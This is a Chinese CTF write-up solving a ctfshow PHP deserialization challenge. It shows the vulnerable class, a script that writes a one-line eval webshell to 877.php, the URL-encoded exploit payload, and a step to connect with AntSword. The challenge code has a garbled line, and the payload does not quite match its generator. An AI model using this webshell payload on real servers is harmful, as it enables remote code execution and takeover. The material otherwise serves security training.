今天的例题: <?php highlight_file(__FILE__); class ctfshowvip{ public $username; public $password; public $code; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); } public function __sleed $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } } unserialize($_GET['vip']);
还是那个熟悉的五步法:五步法带你搞定反序列化难题-CSDN博客,如果没有学过这个专门应对反序列化难题的方法可以看看我的上一篇文章,既然有了方法,那就得不断训练提升。
第一步:1..先看哪个对象下面的函数和属性能够帮我执行恶意代码
答: eval($this->code);
第二步:我能控制的是啥?
unserialize($_GET['vip']);
第三步:正常情况下这段代码会怎么运行?
首先是反序列化vip,然后反序列化之前会触发wakeup()——魔术方法,接下来反序列化后又会触发destruct()——魔术方法,然后勒,就结束了。
第四步:要执行恶意代码,该怎么做?(即为通过我所能控制的东西,如何才能执行恶意代码?)
这里要从后往前推导,
我必须要 eval($this->code);所以必须执行
public function __invoke(){
eval($this->code);
}
invoke魔术方法对吧
问:怎么执行invoke()——魔术方法?
答:把对象当成函数调用。
问:如何把对象当成函数调用?
答:找找有没有return fuction之类的,看看,在哪里突破,这里我找了一会,发现了不对劲,找不到,线索断了。接下来怎么办?肯定是你前面错了。我会去又重新审视了下代码,发现前面步骤错了一个,导致后面都错了。
根据yink12138师傅的说法,
1.当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize
2.__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组
换句话来说根本就不可能执行eval(),因为invoke()——魔术方法根本不可能触发。
那就又回到了第一步,从哪里执行恶意代码?
我重新进行了一遍代码审计,发现了端倪
__destruct()
方法中的file_put_contents()
函数只有这个突破点了。
为了防止各位能够更好明白这个函数,举个例子:
功能:
将数据写入文件:
<?php
echo file_put_contents("test.txt","Hello World. Testing!");
?>
上面代码的输出将是:
21
Hello World. Testing!因为这个是21个长度,就是往test.txt里面写入的。
那么如果我能够写入的话,我第一想法是一句话木马,然后蚁剑连接。好,思路完成。
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
我们主要看这个地方
0x36d是877(十进制)的十六进制
在__unserialize()中,会将username和password拼接起来赋值给$code,
第五步:开始注释代码修改原代码
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u='877.php',$p='<?php eval($_POST[a]);?>'){
$this->username=$u;
$this->password=$p;
}
}
echo urlencode(serialize(new ctfshowvip()))
?>
运行结果:
O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3B%7D
payload:
?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3B%7D
再访问877.php,接下来连接蚁剑就好
这flag居然没有放在www根目录,真的让我好找。
,真诚希望我的文章能够帮助大家,谢谢!